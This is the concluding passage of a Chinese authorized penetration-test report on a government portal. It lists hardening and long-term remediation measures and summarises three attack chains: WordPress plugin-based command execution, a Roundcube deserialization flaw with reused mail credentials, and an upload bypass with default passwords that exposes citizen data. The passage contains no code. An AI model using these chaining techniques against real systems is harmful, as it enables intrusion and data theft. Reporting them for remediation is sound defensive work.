10.4 P2:结构加固

1.上传目录使用不可执行存储,文件按真实类型重编码并按最终文件名白名单校验。 2.数据库按应用、表和操作拆分账号,禁用 FILE 、跨库与高权限DDL/DCL。 3.后台启用MFA、失败锁定、验证码、IP限制和异常会话检测。 4.邮件系统启用异常登录、地理与设备风控,禁止默认口令和跨系统复用。 5.对高价值密钥使用HSM、KMS或集中SecretStore,并建立轮换与吊销流程。

10.5 P3:长效机制

1.建立公网资产、子域、管理端口、证书与第三方组件的持续发现清单。 2.在CI/CD中加入敏感目录、密钥、危险路由、依赖版本和文件上传规则检查。 3.建立应用账号、邮箱、系统账号与SSH密钥的关联关系图谱,定期检测异常复用。 4.将安全日志统一接入SIEM,建立从规则命中到自动隔离的响应闭环。 5.对历史遗留系统和共享主机执行专项下线与隔离,避免“已不可用但未删除”的资产继续存在。

十一、结论与治理启示

本次评估确认的13项漏洞最终收敛为三条完整攻击链:门户后台到主机控制、支持门户到邮件体系、客户登记系统到公民数据。它们并非依靠罕见漏洞完成突破,而是由开放注册、上传绕过、默认口令、可逆会话密钥与跨系统凭据复用逐步拼接而成。这种攻击形态说明,真实环境下决定风险上限的往往不是单个漏洞的技术复杂度,而是身份和权限能否沿着业务边界持续传递。

星宇Sec-【实战】对某三国gov主站的授权渗透测试-图8
图8

图8:从单点修复转向身份、凭据与执行面的治理闭环。

第一条链揭示了内容管理系统与主机控制面的耦合。WordPress管理员账号被接管后,插件安装能力直接将内容管理权限转换为服务器命令执行,数据库凭据、认证密钥与用户数据随后同时暴露。门户后台本应是内容治理入口,却因为高权限账号、邮件恢复流程和Web目录执行权限缺少隔离,最终演变为整站与主机控制点。

第二条链体现了邮件体系的放大效应。支持门户数据库中的明文邮件凭据打开了约五万封内部邮件的访问面,Roundcube反序列化漏洞又将单一邮箱权限提升为主机权限, des_key 和会话数据库则进一步把主机配置泄露转化为批量邮箱口令泄露。邮件系统因此不再只是独立通信设施,而成为身份验证、密码恢复和跨系统权限扩散的核心枢纽。

第三条链说明文件上传与默认配置仍然是最直接的控制入口。支持门户的尾点上传绕过、客户登记系统的未认证任意文件上传以及PixelDesk默认后台,分别以普通账号、无账号和默认口令作为起点,最终抵达服务器执行、客户证件、工资信息与云存储配置。低门槛入口与高价值数据直接相连,是本次风险扩散速度较快的关键原因。

从治理角度看,修复不宜只围绕单个漏洞名称展开。更有效的顺序是先切断可复用的身份与凭据,再收回管理面和上传目录的执行能力,最后补齐认证强度、审计、轮换与最小权限。复测也应验证旧凭据、旧会话、旧Webshell和旧管理入口是否真正失效,而不能仅以某个Payload被WAF拦截作为整改完成标准。只有当账号、邮件、应用与主机之间的信任关系被重新划清,三条攻击链才会在结构上失去继续闭合的条件。


— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容